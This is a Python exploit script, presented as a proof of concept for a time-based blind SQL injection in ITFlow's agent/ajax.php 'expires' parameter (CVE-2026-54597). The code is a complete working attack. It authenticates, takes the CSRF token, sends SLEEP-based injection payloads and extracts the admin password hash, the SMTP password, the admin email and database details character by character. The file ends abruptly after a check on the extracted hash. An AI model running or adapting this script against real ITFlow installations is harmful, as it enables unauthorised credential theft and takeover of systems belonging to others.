1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
| import sys
import time
import argparse
import requests
parser = argparse.ArgumentParser(
prog="exploit.py",
description="ITFlow — CVE-2026-54597 - Time-Based Blind SQL Injection PoC (agent/ajax.php expires) - by iltosec",
formatter_class=argparse.RawTextHelpFormatter,
epilog=(
"Examples:\n"
" python exploit.py http://itflow.com iltosec@iltosec.com 'P@ss!' 1\n"
" python exploit.py http://itflow.com iltosec@iltosec.com 'P@ss!' 1 --all\n"
" python exploit.py http://itflow.com iltosec@iltosec.com 'P@ss!' 1 --adminhash --smtppass\n"
" python exploit.py http://itflow.com iltosec@iltosec.com 'P@ss!' 1 --dbuser --dbversion"
),
)
parser.add_argument("url", help="Target base URL (e.g. http://itflow.com)")
parser.add_argument("email", help="Login email")
parser.add_argument("password", help="Login password")
parser.add_argument("cred_id", help="A valid credential ID on the target")
parser.add_argument("--adminhash", action="store_true", help="Extract admin password hash")
parser.add_argument("--smtppass", action="store_true", help="Extract SMTP password")
parser.add_argument("--dbuser", action="store_true", help="Extract MySQL current user")
parser.add_argument("--dbversion", action="store_true", help="Extract MySQL version")
parser.add_argument("--adminemail", action="store_true", help="Extract admin email address")
parser.add_argument("--all", action="store_true", help="Extract everything (overrides other flags)")
args = parser.parse_args()
if not (args.adminhash or args.smtppass or args.dbuser or
args.dbversion or args.adminemail or args.all):
args.adminhash = True
args.smtppass = True
BASE_URL = args.url.rstrip("/")
EMAIL = args.email
PASSWORD = args.password
CRED_ID = args.cred_id
DELAY = 2
THRESHOLD = 1.5
session = requests.Session()
csrf = None
client_id = "1"
def login(email, password):
r = session.post(
f"{BASE_URL}/login.php",
data={"email": email, "password": password, "login": ""},
allow_redirects=True,
)
return r.status_code == 200 and "logout" in r.text.lower()
def refresh_csrf():
global csrf
r = session.get(f"{BASE_URL}/agent/clients.php")
for line in r.text.splitlines():
if 'name="csrf_token"' in line and "value=" in line:
csrf = line.split('value="')[1].split('"')[0]
return True
return False
def reauth():
global csrf
print("\n[!] Session expired or invalid — re-authenticating")
email_new = input(" Email: ")
pass_new = input(" Password: ")
if not login(email_new, pass_new) or not refresh_csrf():
print("[-] Re-auth failed. Exiting.")
sys.exit(1)
print("[+] Re-authenticated")
def ask(condition):
payload = f"IF(({condition}),SLEEP({DELAY}),0) HOUR"
params = {
"share_generate_link": "",
"item_type": "Credential",
"item_id": CRED_ID,
"client_id": client_id,
"expires": payload,
"email": "t@t.com",
"view_limit": "0",
"csrf_token": csrf,
}
try:
t0 = time.time()
r = session.get(f"{BASE_URL}/agent/ajax.php", params=params, timeout=30)
elapsed = time.time() - t0
if r.status_code in (401, 403) or "login.php" in r.url:
reauth()
return ask(condition)
return elapsed >= THRESHOLD
except requests.RequestException as e:
print(f"\n[!] Request failed: {e}")
retry = input(" Retry? [Y/n]: ").strip().lower()
if retry != "n":
return ask(condition)
sys.exit(1)
def get_length(sql, max_len=80):
length = 0
for i in range(1, max_len + 1):
if ask(f"LENGTH(({sql}))>={i}"):
length = i
else:
break
return length
def extract(label, sql, max_len=80):
print(f"\n[*] {label}")
length = get_length(sql, max_len)
if length == 0:
print(" Result is empty or unreachable")
return "(empty)"
result = ""
for pos in range(1, length + 1):
lo, hi = 32, 126
while lo < hi:
mid = (lo + hi + 1) // 2
if ask(f"ORD(SUBSTR(({sql}),{pos},1))>={mid}"):
lo = mid
else:
hi = mid - 1
result += chr(lo)
print(f"\r [{pos}/{length}] {result:{max_len}}", end="", flush=True)
print()
return result
def get_client_id_from_page():
r = session.get(f"{BASE_URL}/agent/clients.php")
for line in r.text.splitlines():
if "client_id=" in line and "href" in line:
try:
return line.split("client_id=")[1].split("&")[0].split('"')[0].strip()
except Exception:
pass
return "1"
print("=" * 54)
print(" ITFlow — Time-Based Blind SQL Injection PoC - by iltosec")
print(" Endpoint : agent/ajax.php (expires parameter)")
print("=" * 54)
print()
print(f"[*] Logging in as {EMAIL} ...")
if not login(EMAIL, PASSWORD):
print("[!] Login failed")
EMAIL = input(" Email: ")
PASSWORD = input(" Password: ")
if not login(EMAIL, PASSWORD):
print("[-] Login failed. Exiting.")
sys.exit(1)
print("[+] Logged in")
if not refresh_csrf():
print("[-] Could not retrieve CSRF token. Exiting.")
sys.exit(1)
print(f"[+] CSRF token : {csrf[:12]}...")
client_id = get_client_id_from_page()
print(f"[+] client_id : {client_id}")
print()
print("[*] Verifying injection — IF((SELECT COUNT(*) FROM users)>0, SLEEP(2), 0) HOUR ...")
if ask("(SELECT COUNT(*) FROM users)>0"):
print("[+] CONFIRMED — SLEEP triggered, injection is live\n")
else:
print("[-] No delay detected — injection not working or request is blocked.")
sys.exit(1)
results = {}
if args.all or args.adminhash:
results["Admin Hash"] = extract(
"Admin password hash (bcrypt)",
"SELECT user_password FROM users WHERE user_id=1",
60,
)
if args.all or args.smtppass:
results["SMTP Password"] = extract(
"SMTP password (settings table)",
"SELECT config_smtp_password FROM settings WHERE company_id=1 LIMIT 1",
60,
)
if args.all or args.dbuser:
results["DB User"] = extract("MySQL current user", "SELECT user()", 30)
if args.all or args.dbversion:
results["DB Version"] = extract("MySQL version", "SELECT VERSION()", 30)
if args.all or args.adminemail:
results["Admin Email"] = extract(
"Admin email address",
"SELECT user_email FROM users WHERE user_id=1",
60,
)
print()
print("=" * 54)
print(" Results")
print("=" * 54)
for k, v in results.items():
print(f" {k:<16} : {v}")
print("=" * 54)
if "Admin Hash" in results and results["Admin Hash"] not in ("", "(empty)"):
print()
print()
|
